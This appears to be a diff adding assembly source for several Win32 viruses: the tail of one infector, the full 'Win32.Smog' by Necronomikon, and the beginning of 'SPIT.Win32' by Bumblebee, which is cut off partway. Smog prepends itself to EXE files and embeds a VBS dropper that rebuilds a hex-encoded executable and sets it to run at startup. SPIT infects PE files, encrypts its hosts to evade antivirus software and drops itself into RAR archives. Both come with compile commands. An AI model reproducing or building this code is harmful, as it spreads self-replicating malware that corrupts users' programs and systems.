||||
DB 11,"GlobalAlloc"
|
||||
_GLOBALALLOC DD 0
|
||||
DB 10,"GlobalLock"
|
||||
_GLOBALLOCK DD 0
|
||||
DB 12,"GlobalUnlock"
|
||||
_GLOBALUNLOCK DD 0
|
||||
DB 10,"GlobalFree"
|
||||
_GLOBALFREE DD 0
|
||||
DB 13,"FindFirstFile"
|
||||
_FINDFIRSTFILE DD 0
|
||||
DB 12,"FindNextFile"
|
||||
_FINDNEXTFILE DD 0
|
||||
DB 09,"FindClose"
|
||||
_FINDCLOSE DD 0
|
||||
DB 17,"SetFileAttributes"
|
||||
_SETFILEATTRIBUTES DD 0
|
||||
DB 17,"GetFileAttributes"
|
||||
_GETFILEATTRIBUTES DD 0
|
||||
|
||||
_KERNEL DD 0 ; BASE PLACEHOLDERS
|
||||
_DEFAULT DD 0
|
||||
|
||||
MAPSIZE DD VIRUS_SIZE + 1000H
|
||||
|
||||
FILEHANDLE DD 0
|
||||
H_BUFFER DD 0
|
||||
M_BUFFER DD 0
|
||||
|
||||
W32FINDDATA: ; WIN32_FIND_DATA STRUC
|
||||
F_OATTRIBS DD 0
|
||||
DD 6 DUP ( 0 )
|
||||
FILESIZEH DD 0
|
||||
FILESIZE DD 0
|
||||
DD 2 DUP ( 0 )
|
||||
FILENAME DB MAX_PATH DUP ( 0 )
|
||||
DB 14 DUP ( 0 )
|
||||
|
||||
S_HANDLE DD 0
|
||||
FILE_MASK DB "*.EXE", 0
|
||||
|
||||
VIRUS_END:
|
||||
|
||||
END VIRUS_START
|
||||
@@ -0,0 +1,465 @@
|
||||
;============================================================
|
||||
;=== Win32.SMOG virus. Coded by Necronomikon[Zer0Gravity] ===
|
||||
;============================================================
|
||||
;Virusname: Win32.Smog
|
||||
;------------------------------------------------------------
|
||||
;Author: Necronomikon
|
||||
;------------------------------------------------------------
|
||||
;Group: Zero Gravity / Devilport Systems
|
||||
;------------------------------------------------------------
|
||||
;Infection:Win32.Smog is a runtime/direct action EXE virus. Infects
|
||||
;first file in current directory, when executed, by prepending the virus to
|
||||
;the original EXE file.
|
||||
;------------------------------------------------------------
|
||||
;Features: - Open the CDRom-drive all 2Minutes
|
||||
; - Fuck Debuggers
|
||||
; - Display MessageBox
|
||||
;=======================================================
|
||||
; . To compile:
|
||||
;=======================================================
|
||||
; TASM32 /M /ML /Q Smog.ASM
|
||||
; TLINK32 -Tpe -c -x -aa -r smog.OBJ,,, IMPORT32
|
||||
|
||||
|
||||
.386
|
||||
.model flat,stdcall
|
||||
|
||||
; KERNEL32.dll
|
||||
extrn ExitProcess:proc
|
||||
extrn FindFirstFileA:proc
|
||||
extrn WinExec:proc
|
||||
extrn _lclose:proc
|
||||
extrn _llseek:proc
|
||||
extrn _lopen:proc
|
||||
extrn _lread:proc
|
||||
extrn _lwrite:proc
|
||||
extrn DeleteFileA:proc
|
||||
extrn CopyFileA:proc
|
||||
extrn MessageBoxA:proc
|
||||
extrn SetCurrentDirectoryA:proc
|
||||
extrn GetCommandLineA:proc
|
||||
extrn CreateFileA:proc
|
||||
extrn WriteFile:proc
|
||||
extrn CloseHandle:proc
|
||||
L equ <LARGE>
|
||||
.data
|
||||
nec dd 0 ; for write process
|
||||
cont0 dd 0 ; for loops
|
||||
cont1 db 0 ; for loops
|
||||
fHnd dd ?
|
||||
hostName db 260 dup(0) ; space for save host name
|
||||
chDir db 260 dup(0) ; space for save current dir
|
||||
commandLine dd ? ; handle for command line
|
||||
sysTimeStruct db 16 dup(0) ; space for system time struct
|
||||
szTitle db "Structured Exception Handler example",0
|
||||
szMessage db "Intercepted General Protection Fault!",0
|
||||
|
||||
.code
|
||||
|
||||
start:
|
||||
call setupSEH ; The call pushes the offset
|
||||
; past it in the stack rigth?
|
||||
; So we will use that :)
|
||||
exceptionhandler:
|
||||
mov esp,[esp+8] ; Error gives us old ESP
|
||||
; in [ESP+8]
|
||||
|
||||
push 00000000h ; Parameters for MessageBoxA
|
||||
push offset szTitle
|
||||
push offset szMessage
|
||||
push 00000000h
|
||||
call MessageBoxA
|
||||
|
||||
push 00000000h
|
||||
call ExitProcess ; Exit Application
|
||||
|
||||
setupSEH:
|
||||
push dword ptr fs:[0] ; Push original SEH handler
|
||||
mov fs:[0],esp ; And put the new one (located
|
||||
; after the first call)
|
||||
|
||||
mov ebx,0BFF70000h ; Try to write in kernel (will
|
||||
mov eax,012345678h ; generate an exception)
|
||||
xchg eax,[ebx]
|
||||
|
||||
|
||||
scriptName db 'smogdrop.vbs',0
|
||||
vbsFile db 'rem VBS.Dropper for Win32.Smog',0,0dh,0ah
|
||||
db 'On Error Resume Next',0,0dh,0ah
|
||||
db 'rem VBS.Dropper for Win32.Smog',0,0dh,0ah
|
||||
db 'MsgBox "Take this dropper!", 64,"Necronomikon[Zer0Gravity]"',0,0dh,0ah
|
||||
db 'Dim BatFile, nec',0,0dh,0ah
|
||||
db 'Set FSO = CreateObject("Scripting.FileSystemObject")',0,0dh,0ah
|
||||
db 'Set nec = FSO.CreateTextFile("c:\Windows\smogdrop.dll", 2, False)',0,0dh,0ah
|
||||
db 'nec.WriteLine "N SMOGDROP.EXE"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 4D5A90000300000004000000FFFF0000B8000000000000004000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 00000000000000000000000000000000000000000000000B00000000E1FBA0E00B409CD21"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E F53206D6F64652E0D0D0A24000000000000005D171DDB19767388197673881976738819767"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 38817767388E55661881876738852696368197673880000000000000000504500004C01030"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0F23624340000000000000000E0000F010B01050C000200000004000000000000001000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0100000002000000000400000100000000200000400000000000000040000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 00000000040000000040000000000000200000000001000001000000000100000100000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000001000000000000000000000002820000050000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000200000280000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000002E74657874000000BC0000000010000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 00002000000040000000000000000000000000000200000602E726461746100003201000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 2000000002000000060000000000000000000000000000400000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 402E64617461000000C40000000030000000020000000800000000000000000000000000004"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 00000C000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000006A00680030400068273040006A00E88500000068"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E B0304000E88D000000689930400050E888000000A3C03040006A016A00FF15C03040006A0068"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E C0D401006A006A00E8570000006A006A006A00684F304000E83B00000083F800742EA1533040"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 003D1301000075DF6A006A006A00686B304000E83E0000006A006A006A006881304000E82E00"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000EBBD6A00E813000000CCFF2518204000FF2510204000FF2514204000FF2508204000FF25"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 00204000FF2504204000FF252020400000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000E2200000F6200000D42000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000AE200000BC200000A0200000000000001621000000000000882000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000C820000010200000782000000000000000000000082100000020000098200000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000028210000202000000000000000000000000000000000000000000000E2200000F6"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 200000D420000000000000AE200000BC200000A0200000000000001621000000000000280147"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 65744D6573736167654100BB014D657373616765426F7841004D0253657454696D6572000055"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 53455233322E646C6C000075004578697450726F63657373001101476574"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 4D6F64756C6548616E646C65410000290147657450726F634164647265737300004B45524E45"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 4C33322E646C6C000035006D636953656E64537472696E6741000057494E4D4D2E646C6C0000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000002A57"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 696E33322E536D6F672844726F70706572292A46726573686572207468616E2061697221004B"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 6F707977726F6E67206279204E6563726F6E6F6D696B6F6E205B5A657230477261766974795D"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000736574204344417564"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 696F20646F6F72206F70656E00736574204344417564696F20646F6F7220636C6F7365640052"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 656769737465725365727669636550726F63657373006B65726E656C33322E646C6C00000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 00000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 00000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 00000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "RCX"',0,0dh,0ah
|
||||
db 'nec.WriteLine "82"',0,0dh,0ah
|
||||
db 'nec.WriteLine "W"',0,0dh,0ah
|
||||
db 'nec.WriteLine "Q"',0,0dh,0ah
|
||||
db 'nec.WriteLine ""',0,0dh,0ah
|
||||
db 'nec.Close',0,0dh,0ah
|
||||
db 'Set BatFile = FSO.CreateTextFile("c:\Windows\WinStart.bat", 2, False)',0,0dh,0ah
|
||||
db 'BatFile.WriteLine ""',0,0dh,0ah
|
||||
db 'BatFile.WriteLine "@echo off"',0,0dh,0ah
|
||||
db 'BatFile.WriteLine "debug < c:\windows\smogdrop.dll > nul"',0,0dh,0ah
|
||||
db 'BatFile.WriteLine "c:\smogdrop.exe"',0,0dh,0ah
|
||||
db 'BatFile.WriteLine ""',0,0dh,0ah
|
||||
db 'BatFile.Close',0,0dh,0ah
|
||||
db 'MsgBox "Fresher than air!", 48,"Win32.Smog"',0,0dh,0ah
|
||||
|
||||
endScript db 0
|
||||
scriptSize equ offset vbsDir0-offset vbsFile
|
||||
|
||||
vbsDir0 db 'c:\windows\start~1\progra~1\autost~1',0
|
||||
|
||||
end start
|
||||
; virus id and author
|
||||
virusId db 'Win32.SMOG',0
|
||||
; message
|
||||
mess db '*SMOG*Fresher than air...'
|
||||
db 0dh,0ah,'Coded by Necronomikon[ZeroGravity]',0
|
||||
|
||||
MAX_PATH equ 0ffh
|
||||
FALSE equ 00h
|
||||
OF_READWRITE equ 02h ; Opens the file for reading and
|
||||
; writing
|
||||
SW_SHOW equ 05h ; Activates the window and displays it
|
||||
; in its current size and position
|
||||
|
||||
FILETIME struct
|
||||
dwLowDateTime DWORD ? ; Specifies the low-order 32 bits of
|
||||
; the file time
|
||||
dwHighDateTime DWORD ? ; Specifies the high-order 32 bits of
|
||||
; the file time
|
||||
FILETIME ends
|
||||
|
||||
WIN32_FIND_DATA struct
|
||||
dwFileAttributes DWORD ? ; Specifies the file attributes of the
|
||||
; file found
|
||||
ftCreationTime FILETIME <> ; Specifies the time the file was
|
||||
; created
|
||||
ftLastAccessTime FILETIME <> ; Specifies the time that the file was
|
||||
; last accessed
|
||||
ftLastWriteTime FILETIME <> ; Specifies the time that the file was
|
||||
; last written to
|
||||
nFileSizeHigh DWORD ? ; Specifies the high-order DWORD value
|
||||
; of the file size, in bytes
|
||||
nFileSizeLow DWORD ? ; Specifies the low-order DWORD value
|
||||
; of the file size, in bytes
|
||||
dwReserved0 DWORD ? ; Reserved for future use
|
||||
dwReserved1 DWORD ? ; Reserved for future use
|
||||
cFileName BYTE MAX_PATH dup(?)
|
||||
; A null-terminated string that is the
|
||||
; name of the file
|
||||
cAlternate BYTE 0eh dup(?) ; A null-terminated string that is an
|
||||
; alternative name for the file
|
||||
ends
|
||||
|
||||
FindFileData WIN32_FIND_DATA <>
|
||||
szFileName db '*.exe',00h ; Name of file to search for
|
||||
szNewFileName db 'Necro.exe',00h
|
||||
; Null-terminated string that
|
||||
; specifies the name of the new file
|
||||
cBuffer db ? ; Buffer for read data, data to be
|
||||
; written
|
||||
cBuffer_ db ? ; Buffer for read data, data to be
|
||||
; written
|
||||
.code
|
||||
code_begin:
|
||||
push L 1030h ; show a message box
|
||||
lea eax,virusId
|
||||
push eax
|
||||
lea eax,mess
|
||||
push eax
|
||||
push L 0
|
||||
call MessageBoxA
|
||||
skipPay:
|
||||
call GetCommandLineA ; get command line
|
||||
mov dword ptr [commandLine],eax
|
||||
|
||||
xor esi,esi
|
||||
lea edi,hostName
|
||||
vbsCheck:
|
||||
lea eax,vbsDir0
|
||||
push eax
|
||||
call SetCurrentDirectoryA
|
||||
cmp eax,0
|
||||
je installScript
|
||||
|
||||
|
||||
installScript:
|
||||
lea eax,scriptName
|
||||
push eax
|
||||
call DeleteFileA
|
||||
|
||||
push L 0h
|
||||
push L 20h ; archive
|
||||
push L 1
|
||||
push L 0h
|
||||
push L (1h OR 2h)
|
||||
push 40000000h
|
||||
lea eax,scriptName
|
||||
push eax
|
||||
call CreateFileA ; open new script for write (shared)
|
||||
cmp eax,-1
|
||||
je retDir
|
||||
|
||||
mov dword ptr [fHnd],eax
|
||||
|
||||
push L 0
|
||||
lea eax,nec
|
||||
push eax
|
||||
mov eax,scriptSize
|
||||
push eax
|
||||
lea eax,vbsFile
|
||||
push eax
|
||||
push dword ptr [fHnd]
|
||||
call WriteFile ; write file
|
||||
|
||||
mov eax,dword ptr [fHnd] ; close file
|
||||
push eax
|
||||
call CloseHandle
|
||||
|
||||
retDir:
|
||||
lea eax,chDir
|
||||
push eax ; restore work directory
|
||||
call SetCurrentDirectoryA
|
||||
|
||||
dcLoop:
|
||||
push L 0
|
||||
lea eax,nec
|
||||
push eax
|
||||
push L 1
|
||||
push edi
|
||||
push dword ptr [fHnd]
|
||||
call WriteFile ; write data
|
||||
|
||||
cmp byte ptr [edi],0ffh
|
||||
jne skipFF
|
||||
|
||||
dec dword ptr [cont0]
|
||||
call addFF
|
||||
inc edi
|
||||
|
||||
skipFF:
|
||||
inc edi
|
||||
dec dword ptr [cont0]
|
||||
cmp dword ptr [cont0],0
|
||||
jne dcLoop
|
||||
|
||||
push dword ptr [fHnd] ; close file
|
||||
call CloseHandle
|
||||
|
||||
|
||||
addFF:
|
||||
xor ecx,ecx
|
||||
mov cl,byte ptr [edi+1]
|
||||
mov byte ptr [cont1],cl
|
||||
cmp cl,0
|
||||
jne addFFLoop
|
||||
ret
|
||||
|
||||
addFFLoop:
|
||||
push L 0
|
||||
lea eax,nec
|
||||
push eax
|
||||
push L 1
|
||||
push edi
|
||||
push dword ptr [fHnd]
|
||||
call WriteFile ; write data
|
||||
|
||||
dec byte ptr [cont1]
|
||||
cmp byte ptr [cont1],0
|
||||
jne addFFLoop
|
||||
|
||||
ret
|
||||
|
||||
;
|
||||
|
||||
lea edi,[esp+10h] ; EDI = pointer to buffer for module
|
||||
; path
|
||||
push edi ; EDI = pointer to buffer for module
|
||||
; path
|
||||
repne scasb ; Find end of filename
|
||||
mov byte ptr [edi-01h],'.' ; Store dot
|
||||
pop edi ; EDI = pointer to buffer for module
|
||||
; path
|
||||
|
||||
push offset FindFileData ; Address of returned information
|
||||
push offset szFileName ; Address of name of file to search
|
||||
; for
|
||||
call FindFirstFileA
|
||||
|
||||
push FALSE ; If file already exists, overwrite it
|
||||
push offset szNewFileName ; Address of filename to copy to
|
||||
push edi ; Address of name of an existing file
|
||||
call CopyFileA
|
||||
|
||||
push OF_READWRITE ; Opens the file for reading and
|
||||
; writing
|
||||
push offset FindFileData.cFileName
|
||||
; Address of name of file to open
|
||||
call _lopen
|
||||
mov esi,eax ; ESI = file handle
|
||||
|
||||
push OF_READWRITE ; Opens the file for reading and
|
||||
; writing
|
||||
push offset szNewFileName ; Address of filename to copy to
|
||||
call _lopen
|
||||
mov edi,eax ; EDI = file handle
|
||||
|
||||
xor ebx,ebx ; Number of bytes read and written
|
||||
mov ebp,0fffff000h ; Number of bytes to move through
|
||||
; source file
|
||||
read_write_loop:
|
||||
push 00h ; Position to move from
|
||||
push ebx ; Number of bytes to move
|
||||
push esi ; Pointer to destination filename
|
||||
call _llseek
|
||||
|
||||
push 01h ; Length, in bytes, of data buffer
|
||||
push offset cBuffer ; Address of buffer for read data
|
||||
push esi ; Pointer to destination filename
|
||||
call _lread
|
||||
|
||||
push 00h ; Position to move from
|
||||
push ebx ; Number of bytes to move
|
||||
push edi ; Pointer to source filename
|
||||
call _llseek
|
||||
|
||||
push 01h ; Length, in bytes, of data buffer
|
||||
push offset cBuffer_ ; Address of buffer for read data
|
||||
push edi ; Pointer to source filename
|
||||
call _lread
|
||||
|
||||
push 00h ; Position to move from
|
||||
push ebx ; Number of bytes to move
|
||||
push esi ; Pointer to destination filename
|
||||
call _llseek
|
||||
|
||||
push 01h ; Number of bytes to write
|
||||
push offset cBuffer_ ; Address of buffer for data to be
|
||||
; written
|
||||
push esi ; Pointer to destination filename
|
||||
call _lwrite
|
||||
|
||||
push 02h ; Position to move from
|
||||
push 00h ; Number of bytes to move
|
||||
push esi ; Pointer to destination filename
|
||||
call _llseek
|
||||
|
||||
push 01h ; Number of bytes to write
|
||||
push offset cBuffer ; Address of buffer for data to be
|
||||
; written
|
||||
push esi ; Pointer to destination filename
|
||||
call _lwrite
|
||||
|
||||
push 02h ; Position to move from
|
||||
push ebp ; Number of bytes to move
|
||||
push edi ; Pointer to source filename
|
||||
call _llseek
|
||||
|
||||
push 01h ; Length, in bytes, of data buffer
|
||||
push offset cBuffer ; Address of buffer for read data
|
||||
push edi ; Pointer to source filename
|
||||
call _lread
|
||||
|
||||
push 00h ; Position to move from
|
||||
push ebx ; Number of bytes to move
|
||||
push edi ; Pointer to source filename
|
||||
call _llseek
|
||||
|
||||
push 01h ; Number of bytes to write
|
||||
push offset cBuffer ; Address of buffer for data to be
|
||||
push edi ; Pointer to source filename
|
||||
call _lwrite
|
||||
|
||||
inc ebx ; Increase number of bytes read and
|
||||
; written
|
||||
inc ebp ; Increase number of bytes to move
|
||||
; through source file
|
||||
cmp bx,1000h ; Read and written all of the virus?
|
||||
jne read_write_loop ; Not equal? Jump to read_write_loop
|
||||
|
||||
push edi ; Handle of file to close
|
||||
call _lclose
|
||||
|
||||
push SW_SHOW ; Activates the window and displays it
|
||||
; in its current size and position
|
||||
push offset szNewFileName ; Address of filename to copy to
|
||||
call WinExec
|
||||
code_end:
|
||||
|
||||
end code_begin
|
||||
@@ -0,0 +1,857 @@
|
||||
;
|
||||
; SPIT.Win32 rev2.1
|
||||
; a Bumblebee Win32 Virus
|
||||
;
|
||||
; . Yeah! It's simple but FULL Win32 compatible -i think-. A non-resident
|
||||
; Win32 virus using ffirst 'n' fnext.
|
||||
; . Copies into host: virus+host. When host execs copies host to
|
||||
; temporary file and execs it. Then waits until exec ends to delete
|
||||
; the tmp file. It's like a spit: petty but annoying if falls over you ;)
|
||||
;
|
||||
; . Is my 1st PE virus and can be improved -see icons on infected files-.
|
||||
; But SPIT uses a simple way to infect!
|
||||
;
|
||||
; . Notes:
|
||||
; - Uses WinExec 'cause CreateProcess is more complex.
|
||||
; - Virus size is 8192 bytes (code+data+headers+...)
|
||||
; - Marks Dos header with 'hk' on infected files
|
||||
; - Makes a semi-random name for tmp file
|
||||
;
|
||||
; . What's new on rev2?
|
||||
;
|
||||
; - Only infect PE files
|
||||
; - exec host before infect
|
||||
; - Best random tmp name
|
||||
; - Hide tmp host with hidden attribute while exec
|
||||
; - Encrypts host -fuck you avers ;)-
|
||||
; - no file time change
|
||||
; - uses CD13 routines to drop over RAR file -Thanx CD13!-
|
||||
;
|
||||
; . What's new on rev2.1?
|
||||
; - a stupid error fixed -WinExec 1st push must be 1 :(-
|
||||
;
|
||||
;
|
||||
; . ThanX to...
|
||||
;
|
||||
; ... 29a for e-zines, CD13 for his cool stuff, and Lethal for
|
||||
; find a bug when i think it was finished ...
|
||||
;
|
||||
;
|
||||
; The way of the bee
|
||||
;
|
||||
; . yeah Lich... win32 programming is:
|
||||
;
|
||||
; push shit
|
||||
; push moreShit
|
||||
; push tooMuchShit
|
||||
; call WinGoesToHell
|
||||
;
|
||||
;
|
||||
; tasm /ml /m3 v32,,;
|
||||
; tlink32 -Tpe -c v32,v32,, import32.lib
|
||||
;
|
||||
|
||||
.386
|
||||
locals
|
||||
jumps
|
||||
.model flat,STDCALL
|
||||
|
||||
; procs to import
|
||||
extrn ExitProcess:PROC
|
||||
extrn CreateFileA:PROC
|
||||
extrn WriteFile:PROC
|
||||
extrn CloseHandle:PROC
|
||||
extrn FindFirstFileA:PROC
|
||||
extrn FindNextFileA:PROC
|
||||
extrn ReadFile:PROC
|
||||
extrn GetCommandLineA:PROC
|
||||
extrn VirtualAlloc:PROC
|
||||
extrn VirtualFree:PROC
|
||||
extrn MessageBoxA:PROC
|
||||
extrn _llseek:PROC
|
||||
extrn GetFileSize:PROC
|
||||
extrn DeleteFileA:PROC
|
||||
extrn WinExec:PROC
|
||||
extrn lstrcpy:PROC
|
||||
extrn lstrcat:PROC
|
||||
extrn GetSystemTime:PROC
|
||||
extrn SetFileAttributesA:PROC
|
||||
extrn GetFileTime:PROC
|
||||
extrn SetFileTime:PROC
|
||||
|
||||
|
||||
; from BC++ Win32 API on-line Reference
|
||||
WIN32_FIND_DATA struc
|
||||
dwFileAttributes dd 0
|
||||
dwLowDateTime0 dd ? ; creation
|
||||
dwHigDateTime0 dd ?
|
||||
dwLowDateTime1 dd ? ; last access
|
||||
dwHigDateTime1 dd ?
|
||||
dwLowDateTime2 dd ? ; last write
|
||||
dwHigDateTime2 dd ?
|
||||
nFileSizeHigh dd ?
|
||||
nFileSizeLow dd ?
|
||||
dwReserved dd 0,0
|
||||
cFileName db 260 dup(0)
|
||||
cAlternateFilename db 14 dup(0)
|
||||
db 2 dup(0)
|
||||
WIN32_FIND_DATA ends
|
||||
|
||||
; struc from 29A INC files... THANX you a lot!
|
||||
IMAGE_DOS_HEADER STRUC
|
||||
MZ_magic DW ? ; Magic number
|
||||
MZ_cblp DW ? ; Bytes on last page of file
|
||||
MZ_cp DW ? ; Pages in file
|
||||
MZ_crlc DW ? ; Relocations
|
||||
MZ_cparhdr DW ? ; Size of header in paragraphs
|
||||
MZ_minalloc DW ? ; Minimum extra paragraphs needed
|
||||
MZ_maxalloc DW ? ; Maximum extra paragraphs needed
|
||||
MZ_ss DW ? ; Initial (relative) SS value
|
||||
MZ_sp DW ? ; Initial SP value
|
||||
MZ_csum DW ? ; Checksum
|
||||
MZ_ip DW ? ; Initial IP value
|
||||
MZ_cs DW ? ; Initial (relative) CS value
|
||||
MZ_lfarlc DW ? ; File address of relocation table
|
||||
MZ_ovno DW ? ; Overlay number
|
||||
MZ_res DW 4 DUP (?) ; Reserved words
|
||||
MZ_oemid DW ? ; OEM identifier (for e_oeminfo)
|
||||
MZ_oeminfo DW ? ; OEM information; e_oemid specific
|
||||
MZ_res2 DW 10 DUP (?) ; Reserved words
|
||||
MZ_lfanew DD ? ; File address of new exe header
|
||||
IMAGE_DOS_HEADER ENDS
|
||||
IMAGE_SIZEOF_DOS_HEADER EQU SIZE IMAGE_DOS_HEADER
|
||||
|
||||
; for RAR drop
|
||||
HeaderSize equ FinRARHeader-RARHeader
|
||||
Size equ 8192
|
||||
|
||||
.DATA
|
||||
|
||||
dos_header IMAGE_DOS_HEADER <?> ; for inf check test
|
||||
find_data WIN32_FIND_DATA <?> ; for ffirst 'n' fnext
|
||||
fMask: db '*.EXE',0 ; mask for exe
|
||||
ffHnd: dd ? ; ff'n'fn handle
|
||||
fHnd: dd ? ; file handle
|
||||
mHnd: dd ? ; memory handle
|
||||
mtHnd: dd ? ; tmp memory handle
|
||||
mtaHnd: dd ? ; tmp memory handle for args
|
||||
commandLine: dd ? ; you know...
|
||||
hArgs: db ? ; flag for has args
|
||||
argsPos: dd ? ; pos of args in cmd line
|
||||
fSize: dd ? ; tmp size of file
|
||||
size2Read dd 0 ; used for r/w ops
|
||||
|
||||
titleb db 'Virus Report rev2.1',0
|
||||
vid db 'SPIT.Win32 is a Bumblebee Win32 Virus',0ah,0dh
|
||||
mess db 0ah,0dh,'Feel the power of Spain and die by the SpiT!'
|
||||
db 0ah,0dh,0
|
||||
tmpHost db 'bbbee'
|
||||
rndHost db '000000.exe',0
|
||||
execStatus: db 0 ; status after exec
|
||||
|
||||
sysTimeStruct db 16 dup(0)
|
||||
|
||||
; data for save time
|
||||
stfHnd dd ?
|
||||
time0 dd 0,0
|
||||
time1 dd 0,0
|
||||
time2 dd 0,0
|
||||
sErr db 0
|
||||
|
||||
; data for RAR drop by CD13
|
||||
dMask: db '*.RAR',0 ; mask for rar
|
||||
Number dd 0
|
||||
RARHeader: ; Header that we will add
|
||||
RARHeaderCRC dw 0 ; We'll fill: CRC of header
|
||||
RARType db 074h ; File Header
|
||||
RARFlags dw 8000h
|
||||
RARHeadsize dw HeaderSize
|
||||
RARCompressed dd Size ; Compressed and Original
|
||||
RAROriginal dd Size ; size are the same, we stored
|
||||
RAROs db 0 ; OS: ms-dos
|
||||
RARCrc32 dd 0 ; We must fill this field
|
||||
RARFileTime db 063h,078h ; Time of the program
|
||||
RARFileDate db 031h,024h ; Date of the proggy
|
||||
RARNeedVer db 014h
|
||||
RARMethod db 030h ; Method: storing
|
||||
